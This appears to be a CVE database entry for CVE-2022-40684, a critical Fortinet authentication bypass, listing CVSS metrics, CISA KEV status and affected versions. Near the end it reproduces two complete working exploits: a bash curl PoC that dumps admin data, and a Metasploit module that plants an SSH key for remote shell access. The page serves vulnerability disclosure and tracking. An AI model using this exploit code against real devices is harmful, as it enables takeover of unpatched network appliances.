CVE-2022-40684 : Detail

CVE-2022-40684

9.8
/
Critical
Authorization problems
A07-Identif. and Authent. Fail
94.4%V4
Network
2022-10-17
22h00 +00:00
2024-10-23
13h28 +00:00
CVE.org
NVD
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CVE Descriptions

An authentication bypass using an alternate path or channel [CWE-288] in Fortinet FortiOS version 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy version 7.2.0 and version 7.0.0 through 7.0.6 and FortiSwitchManager version 7.2.0 and 7.0.0 allows an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Functional

Functional exploit code is available. The code works in most situations where the vulnerability exists.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Unavailable

There is either no solution available or it is impossible to apply.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 psirt@fortinet.com

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Fortinet Multiple Products Authentication Bypass Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-10-10 22h00 +00:00

Action is due : 2022-10-31 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51092

Publication date : 2023-03-26 22h00 +00:00
Author : Felipe Alcantara
EDB Verified : No

# Exploit Title: Fortinet Authentication Bypass v7.2.1 - (FortiOS, FortiProxy, FortiSwitchManager) # Date: 13/10/2022 # Exploit Author: Felipe Alcantara (Filiplain) # Vendor Homepage: https://www.fortinet.com/ # Version: #FortiOS from 7.2.0 to 7.2.1 #FortiOS from 7.0.0 to 7.0.6 #FortiProxy 7.2.0 #FortiProxy from 7.0.0 to 7.0.6 #FortiSwitchManager 7.2.0 #FortiSwitchManager 7.0.0 # Tested on: Kali Linux # CVE : CVE-2022-40684 # https://github.com/Filiplain/Fortinet-PoC-Auth-Bypass # Usage: ./poc.sh <ip> <port> # Example: ./poc.sh 10.10.10.120 8443 #!/bin/bash red="\e[0;31m\033[1m" blue="\e[0;34m\033[1m" yellow="\e[0;33m\033[1m" end="\033[0m\e[0m" target=$1 port=$2 vuln () { echo -e "${yellow}[+] Dumping System Information: ${end}" timeout 10 curl -s -k -X $'GET' \ -H $'Host: 127.0.0.1:9980' -H $'User-Agent: Node.js' -H $'Accept-Encoding\": gzip, deflate' -H $'Forwarded: by=\"[127.0.0.1]:80\";for=\"[127.0.0.1]:49490\";proto=http;host=' -H $'X-Forwarded-Vdom: root' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' "https://$target:$port/api/v2/cmdb/system/admin" > $target.out if [ "$?" == "0" ];then grep "results" ./$target.out >/dev/null if [ "$?" == "0" ];then echo -e "${blue}Vulnerable: Saved to file $PWD/$target.out ${end}" else rm -f ./$target.out echo -e "${red}Not Vulnerable ${end}" fi else echo -e "${red}Not Vulnerable ${end}" rm -f ./$target.out fi } vuln
Exploit Database EDB-ID : 52239

Publication date : 2025-04-15 22h00 +00:00
Author : ub3rsick
EDB Verified : No

# Exploit Title: Fortinet FortiOS, FortiProxy, and FortiSwitchManager 7.2.0 - Authentication bypass # Date: 2022-10-10 # Exploit Author: Zach Hanley, SC # Vendor Homepage: https://www.fortinet.com # Version: 7.0.0 # Tested on: Linux # CVE : CVE-2022-40684 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH prepend Msf::Exploit::Remote::AutoCheck attr_accessor :ssh_socket def initialize(info = {}) super( update_info( info, 'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.', 'Description' => %q{ This module exploits an authentication bypass vulnerability in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API to gain access to a chosen account. And then add a SSH key to the authorized_keys file of the chosen account, allowing to login to the system with the chosen account. Successful exploitation results in remote code execution. }, 'Author' => [ 'Heyder Andrade <@HeyderAndrade>', # Metasploit module 'Zach Hanley <@hacks_zach>', # PoC ], 'References' => [ ['CVE', '2022-40684'], ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'], ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'], ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2022-10-10', # Vendor advisory 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'FortiOS', { 'DefaultOptions' => { 'PAYLOAD' => 'generic/ssh/interact' }, 'Payload' => { 'Compat' => { 'PayloadType' => 'ssh_interact' } } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']), OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]), OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]), OptString.new('KEY_PASS', [false, 'SSH private key password', nil]), OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]), OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true]) ] ) end def username if datastore['USERNAME'] @username ||= datastore['USERNAME'] else @username ||= detect_username end end def ssh_rport datastore['SSH_RPORT'] end def current_keys @current_keys ||= read_keys end def ssh_keygen # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8` if datastore['PRIVATE_KEY'] @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key( File.read(datastore['PRIVATE_KEY']), datastore['KEY_PASS'], datastore['PRIVATE_KEY'] ) else @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1') end end def ssh_private_key ssh_keygen.to_pem end def ssh_pubkey Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) end def authorized_keys pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost" end def fortinet_request(params = {}) send_request_cgi( { 'ctype' => 'application/json', 'agent' => 'Report Runner', 'headers' => { 'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\"" } }.merge(params) ) end def check vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}") # a normal request to the API should return a 401 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)), 'ctype' => 'application/json' }) return CheckCode::Unknown('Target did not respond to check.') unless res return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401 # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable res = fortinet_request({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/status') }) return CheckCode::Safe unless res&.code == 200 version = res.get_json_document['version'] print_good("Target is running the version #{version}, which is vulnerable.") Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock } CheckCode::Vulnerable('And SSH is running which makes it exploitable.') end def cleanup return unless ssh_socket # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method data = { "ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""' } fortinet_request({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username), 'data' => data.to_json }) end def detect_username vprint_status('User auto-detection...') res = fortinet_request( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/admin') ) users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact # we prefer to use admin, but if it doesn't exist we chose a random one. if datastore['PREFER_ADMIN'] vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.") users.include?('admin') ? 'admin' : users.sample else vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.") (users - ['admin']).sample end end def add_ssh_key if current_keys.include?(authorized_keys) # then we'll remove that on cleanup print_good('Your key is already in the authorized_keys file') return end vprint_status('Adding SSH key to authorized_keys file') # Adding the SSH key as the last entry in the authorized_keys file keystoadd = current_keys.first(2) + [authorized_keys] data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h res = fortinet_request({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username), 'data' => data.to_json }) fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500 body = res.get_json_document fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/ end def read_keys vprint_status('Reading SSH key from authorized_keys file') res = fortinet_request({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username) }) fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200 result = res.get_json_document['results'].first ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key| result[key].gsub('"', '') unless result[key].empty? end.compact end def do_login(ssh_options) # ensure we don't have a stale socket hanging around ssh_options[:proxy].proxies = nil if ssh_options[:proxy] begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do self.ssh_socket = Net::SSH.start(rhost, username, ssh_options) end rescue Rex::ConnectionError fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, 'Timed out during negotiation') rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, 'Failed authentication') rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") end fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket end def exploit print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}") add_ssh_key vprint_status('Establishing SSH connection') ssh_options = ssh_client_defaults.merge({ auth_methods: ['publickey'], key_data: [ ssh_private_key ], port: ssh_rport }) ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG'] do_login(ssh_options) handler(ssh_socket) end end

Products Mentioned

Configuraton 0

Fortinet>>Fortiproxy >> Version From (including) 7.0.0 To (excluding) 7.0.7

Fortinet>>Fortiproxy >> Version 7.2.0

Fortinet>>Fortiswitchmanager >> Version 7.0.0

Fortinet>>Fortiswitchmanager >> Version 7.2.0

Fortinet>>Fortios >> Version From (including) 7.0.0 To (excluding) 7.0.7

Fortinet>>Fortios >> Version From (including) 7.2.0 To (excluding) 7.2.2

References

https://fortiguard.com/psirt/FG-IR-22-377
Tags : Mitigation, Vendor Advisory
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.